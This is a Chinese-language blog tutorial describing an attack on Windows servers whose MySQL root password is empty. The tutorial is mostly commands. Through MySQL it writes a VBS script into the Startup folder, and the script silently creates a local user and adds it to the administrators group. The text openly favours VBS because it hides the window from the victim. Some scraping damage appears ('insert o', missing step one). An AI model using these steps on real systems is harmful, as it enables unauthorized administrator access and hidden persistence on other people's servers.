专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »数据库 » mysqlroot密码:在MySQL中root密码为空的另类攻击思路方法 »正文

mysqlroot密码:在MySQL中root密码为空的另类攻击思路方法

来源: 发布时间:星期三, 2009年9月2日 浏览:3次 评论:0
  本文介绍了有关安装了mysqlbin目录中

  2、让我们来看看服务器中有些什么数据库

mysql>show databases;



  mysql默认安装时会有mysql、test这两个数据库如果你看到有其它数据库那么就是用户自建数据库

  3、让我们进入数据库

mysql>use test;



  我们将会进入test数据库中

  4、查看我们进入数据库中有些什么数据表

mysql>show tables;



  默认情况下test中没有任何表存在

  以下为关键部分

  5、在test数据库下创建个新表;

mysql>create table a (cmd text);



  好了我们创建了个新表名为a表中只存放个字段字段名为cmd为text文本

  6、在表中插入内容 

mysql>insert o a values (" wshshell=createobject (""wscript.shell"" ) " );
mysql>insert o a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );
mysql>insert o a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );



  注意双引号和括号以及后面“0”定要输入!我们将用这 3条命令来建立个vbs脚本!

  7、好了现在我们来看看表a中有些什么 

mysql>select * from a;



  我们将会看到表中有 3行数据就是我们刚刚输入内容确认你输入内容无误后我们来到下

  8、输出表为个vbs脚本文件 

mysql>select * from a o outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\\\启动\\a.vbs";



  我们把我们表中内容输入到启动组中个vbs脚本文件!注意“\"符号

  9、看到这大家肯定知道了就是利用mysql输出个可执行文件而已为什么不用bat呢启动运行时会有明显dos窗口出来而用vbs脚本则可以完全隐藏窗口且不会有提示!本来应该还有句完成脚本后自动删除此脚本但是中文目录实在无法处理只有作罢!



0

相关文章

读者评论

发表评论

  • 昵称:
  • 内容: